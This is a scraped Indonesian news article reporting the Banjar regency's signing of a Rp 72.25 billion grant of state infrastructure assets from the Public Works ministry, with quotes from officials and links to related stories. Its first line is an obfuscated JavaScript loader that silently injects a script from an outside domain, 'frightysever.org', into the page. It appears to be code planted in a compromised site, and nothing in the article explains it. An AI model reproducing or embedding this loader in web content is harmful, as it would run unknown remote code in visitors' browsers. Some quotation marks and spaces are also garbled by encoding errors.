(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar melaksanakan penandatanganan hibah aset operasional Barang Milik Negara (BMN) dari Direktorat Jenderal (Ditjen) Cipta Karya Kementerian PUPR di Command Center Manis, Rabu (21/4/2021) siang.
Hibah barang milik negara yang diterima Pemkab Banjar meliputi beberapa aset, diantaranya infrastruktur air minum, penataan kawasan permukiman, infrastruktur sanitasi, Ruang Terbuka Hijau (RTH) di kawasan Stadion Demang Lehman senilai Rp 72.252.262.925.
Penandatanganan dilakukan Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah Kalimantan Selatan disaksikan Sekda Banjar H M Hilman, Kepala Dinas Permukiman Banjar Mursal, secara daring diikuti Dirjen Cipta Karya Kementerian PUPR Diana Kusumastuti.
Baca juga:Â Perlindungan Anak Berbasis Masyarakat, Ini Angka Kasus Kekerasan di Kabupaten Banjar
Dirjen Cipta Karya Kementerian PUPR RI Diana Kusumastuti mengatakan, sejak diterbitkannya keputusan Presiden Nomor 17 Tahun 2007 tentang penertiban barang milik negara, hampir seluruh kementerian, lembaga dan pemerintah daerah memusatkan perhatian dan potensinya untuk membenahi juga menertibkan tata kelola barang milik daerah di bawah koordinasi kuasa pengguna barang masing-masing.
“Kita menyadari bahwa pembenahan dan penertiban tata kelola BMN berkolerasi positif bagi kementerian, lembaga maupun pemerintah daerah untuk meraih opini dari BPK dengan predikat WTP,†ucapnya.
Baca juga:Â Dikerjakan Bertahap, Ini Foto-foto Desain Penataan Kawasan Sekumpul
Ditambahkannya, barang milik negara yang dihibahkan oleh Ditjen Cipta Karya Kementerian PUPR kepada Pemkab Banjar dengan total perolehan yang cukup besar senilai Rp 72.252.262.925. Meliputi beberapa kegiatan atau aset termasuk infrastruktur air minum, penataan kawasan permukiman, infrastruktur sanitasi, Ruang Terbuka Hijau (RTH) di kawasan Stadion Demang Lehman, prasarana strategis dengan membangun atau merehabilitasi juga merenovasi sekolah.
Dirjen Cipta Karya berharap Pemkab Banjar lebih optimal untuk memanfaatkan, mengoperasionalkan dan terpenting adalah pemeliharaan barang milik negara itu.
Sehingga target peningkatan pelayanan jasa di bidang PUPR bagi masyarakat Kabupaten Banjar dapat tercapai lebih.
Baca juga:Â KUD di HSU Masih Bisa Bertahan di Tengah Pandemi
Bupati Banjar H Saidi Mansyur menyampaikan, atas nama Pemkab Banjar mengucapkan terimakasih yang sebesar besarnya kepada Ditjen Cipta Karya Kementerian PUPR.
“Hibah ini bisa dioptimalkan dan disesuaikan dengan kepentingan penggunaan masyarakat Kabupaten Banjar,†pungkasnya. (kanalkalimantan.com/yuda)
Reporter : yuda
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.